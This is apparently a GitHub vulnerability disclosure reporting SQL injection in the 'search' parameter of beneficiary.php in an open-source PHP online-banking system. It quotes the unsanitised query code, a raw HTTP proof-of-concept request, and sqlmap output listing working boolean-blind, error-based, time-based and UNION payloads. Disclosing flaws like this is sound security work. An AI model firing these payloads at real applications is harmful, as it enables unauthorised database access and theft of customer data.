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BugReport / online-banking-system / sql_injection9.md



0clickjacking0 新增漏洞分析文章

🕒 History

👤 1 contributor

☰ 55 lines (46 sloc) | 1.93 KB

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Vulnerability file address

net-banking/beneficiary.php from line 74,The `$_POST['search']` parameter is controllable, the parameter search can be passed through post, and the `$search` is not protected from sql injection, line 92 `$result1 = $conn->query($sql1);` made a sql query,resulting in sql injection

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```
if (isset($_POST['submit'])) {
    $back_button = TRUE;
    $search = $_POST['search'];
    $by = $_POST['by'];

    if ($by == "name") {
        $sql1 = "SELECT cust_id, first_name, last_name, account_no F
        WHERE cust_id=".$row["benef_cust_id"]." AND (first_name LIKE
        OR last_name LIKE '%$search%' OR CONCAT(first_name, ' ', las
    }
    else {
        $sql1 = "SELECT cust_id, first_name, last_name, account_no F
        WHERE cust_id=".$row["benef_cust_id"]." AND account_no LIKE
    }
}
```

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```
<?php
    $result1 = $conn->query($sql1);
```

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POC

POST /net-banking/beneficiary.php HTTP/1.1

Host: www.bank.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Fi

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3

Content-Length: 16

submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- Wk1L



Attack results pictures

```
[17:47:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential
) technique found
[17:47:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query co
lums. Automatically extending the range for current UNION query injection technique test
[17:47:13] [WARNING] reflective value(s) found and filtering out
[17:47:13] [INFO] target URL appears to have 4 columns in query
[17:47:13] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[17:47:13] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any
problems during data retrieval
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 253 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
  Payload: submit=&search=' OR NOT 3220=3220-- MaMC

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: submit=&search=' OR (SELECT 9466 FROM(SELECT COUNT(*),CONCAT(0x7178787a71,(SELECT (ELT(9466=9466,1))))0x717a6a7a71,FLOO
R(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- oKou

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- Wk1L

  Type: UNION query
  Title: Generic UNION query (NULL) - 4 columns
  Payload: submit=&search=' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787a71,0x4c58546c4b774f556c75795773526c474e41615363667155
6241565254597052726f6d59425a7369,0x717a6a7a71)-- -
---
[17:47:16] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx 1.21.2
back-end DBMS: MySQL >= 5.0
[17:47:16] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'

[*] ending @ 17:47:16 /2022-09-05/
```